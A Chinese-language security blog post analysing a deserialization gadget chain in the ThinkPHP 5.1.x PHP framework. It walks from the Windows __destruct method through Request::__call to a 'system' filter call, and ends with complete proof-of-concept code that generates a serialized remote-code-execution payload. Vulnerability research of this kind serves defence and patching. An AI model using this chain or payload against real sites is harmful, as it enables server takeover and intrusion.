Learning Man's Blog

ThinkPHP 5.1.x 反序列化简析

字数统计: 1.1k阅读时长: 4 min
2019/12/07

简析

__destruct

  1. 首先可以看到4个__destruct中只有 windows 下多调用了一个 removeFiles 方法,跟进后,可见调用 file_exists,通过注释可见参数类型为 string,这样会调用$filename -> __toString()

-w1160

利用点

现在需要找到一个可利用的__toString方法,全局搜索一下

  • \think\Collection::__toString
  • \think\model\concern\Conversion::__toString

-w666

这两条链使用的都使用的相同的逻辑进行解析
-w1145

由于$name源自$this->append可控且中间量均可控制,只要找到 visible 且接收 array 类型参数即可,通过全局搜索,可见没有能利用的visible

-w666

如果没有可直接利用的visible,就换方向看是否有可控__call,但这里还有个问题:
一般__callcall_user_func_array__call_user_func,由于我们已经明确 method 为 visible 且不可控,能控制的变量只有$args

-w666

而在 \think\Request::__call中,可以通过$this->hook控制传入call_user_func_array的方法名

-w742

但由于 array_unshift 的缘故,$args = [$this, $args[0]]

通过需要操控为

call_user_func_array([$object, $method], [$this, $args[0]])

$object->$method($this, args[0])

Gadget

一般来说很难找到一个方法能够忽略传入的第一个参数,还能将其他参数带入命令执行。

但是在 tp 中,可利用内置filter对参数进行过滤

-w964

跟进 input 方法,假如直接进行调用,由于经过__call方法会将所有的参数打包一遍,导致在 1354 行(string) $name时报错,所以需要找一个传入$name是字符串的点

-w1368

-w1338

搜索一下引用input的点有 7 处,但注意大部分仍是不可利用的点,以get为例,由于需要传入的一个参数是$name = $this类对象,再进入input后,还是会在 1354 行(string) $name时报错

-w688

最后只有\think\Request::param,在向上看param的调用,能否找到传入为字符串的

-w897

可以看到isAjaxisPjax应该都可以,这里看前者

-w564

可以看到即使传入第一个参数为类对象,也可进入param函数,且config参数可控。
对于多出来的参数,PHP有个特性,一个函数可以接收任意数量参数,超出的部分可以自动忽略。

-w685

poc 编写

首先根据__dectruct入口和利用点两节,创建Windows类,由于我们想要在获取file的文件名时进入到调用visible函数,就必须满足file类继承RelationShipAttribute以及当前的Conversion

-w1079

这里有一个可利用的即\think\Model,但这是一个抽象类,需要继承后才可实例化

-w520

简单搜索下,发现Pivot只继承了Model,方便拿来使用

-w666

同时为了控制进入到Request__call方法,需要如下设置,需要两个 key 一致

  • append = array(custom_key => array(??))
  • data = array(cunstom_key => new Request())
<?php

namespace think;
class Model {
    protected $append = [];
    private $data = [];

    function __construct(){
        $this->append = ['sari3l' => ['任意']];
        $this->data = ['sari3l' => new Request()];
    }
}

class Request {
}

namespace think\process\pipes;
use think\model\Pivot;
class Windows {
    private $files = [];

    function __construct(){
        $this->files = [new Pivot()];
    }
}

namespace think\model;
use think\Model;
class Pivot extends Model {}

现在根据Gadget,意图进入__call后调用isAjax/isPjax,只需要控制$this->hook

class Request {
    protected $hook = ['visiable' => [$this, 'isAjax']];
}

isXjax中我们只需要控制config['var_ajax'],作为$name原封不动传入input函数;同时注意到$this->param会合并请求参数和URL地址中的参数后作为$data传入 input;而由于传入$filter为空,所以会取$this->filter

class Request {
    protected $filter = 'system';
    protected $hook = ['visiable' => [$this, 'isAjax']];
    protected $config = [
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',
    ];
}

input函数中,会取$data[$name]作为filterValue第一个参数,会取$filter为第三个参数,之后就可以被执行了,但是注意var_ajax值需要在$param中有相同值作为 key

还有$filter会通过is_callable检验后带入call_user_func,所以eval在这里就不行了

最终 POC

<?php

namespace think;
abstract class Model {
    protected $append = [];
    private $data = [];

    function __construct(){
        $this->append = ['sari3l' => ['暂时']];
        $this->data = ['sari3l' => new Request()];
    }
}

class Request {
    protected $filter = 'system';
    protected $hook = [];
    protected $config = [
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',
    ];

    function __construct(){
        $this->filter = 'system';
        $this->config['var_ajax'] = 'test'; // GET请求参数
        $this->hook = ['visible' => [$this, 'isAjax']];
    }
}

namespace think\process\pipes;
use think\model\Pivot;
class Windows {
    private $files = [];

    function __construct(){
        $this->files = [new Pivot()];
    }
}

namespace think\model;
use think\Model;
class Pivot extends Model {}

namespace think\process\pipes;
echo base64_encode(serialize(new Windows()));

-w1112

其他

由于我们设置$this->config['var_ajax'] = 'test';,且传入test值为字符串,所以走的是 else逻辑。通过传入或直接$param对应值为array类型,执行if逻辑也是可以的

-w696

CATALOG
  1. 1. 简析
    1. 1.1. __destruct
    2. 1.2. 利用点
    3. 1.3. Gadget
  2. 2. poc 编写
  3. 3. 最终 POC
  4. 4. 其他